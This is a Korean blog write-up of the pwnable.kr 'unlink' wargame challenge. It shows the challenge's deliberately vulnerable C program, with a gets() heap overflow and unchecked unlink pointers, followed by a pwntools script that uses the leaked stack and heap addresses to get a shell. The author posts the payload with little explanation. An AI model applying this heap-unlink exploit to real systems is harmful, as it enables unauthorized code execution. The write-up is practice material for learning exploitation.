Wargame/pwnable.kr
[Pwnable.kr] unlink 풀이 (10pt)
bjloed
2020. 7. 28. 07:32
unlink.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
unlink 취약점에 대해 많은 문서들을 찾아봤다.
그 중에, hackerz on the ship에 적혀있는 글이 제일 정리가 잘 되어 있는 듯하다.
이번 문제는 나 또한, 아직까지는 개념이 제대로 잡혀있지 않기 때문에, 페이로드만 올리도록 하겠다.
gets(A->buf) 부분에서 입력했을 때, 메모리에 쌓이는 값들을 보고 페이로드를 작성해봤다.
프로그램을 실행하면, stack과 heap의 주소를 leak 해주니, 접근하기에는 쉬울 것이다.
from pwn import *
p = process('/home/unlink/unlink')
p.recvuntil('leak: ')
stack = int(p.recv(10),16)
p.recvuntil('leak: ')
heap = int(p.recv(10), 16)
payload = ""
payload += '\xeb\x84\x04\x08'
payload += 'A'*12
payload += p32(heap+12)
payload += p32(stack+16)
p.recvuntil('now that you have leaks, get shell!\n')
p.sendline(payload)
p.interactive()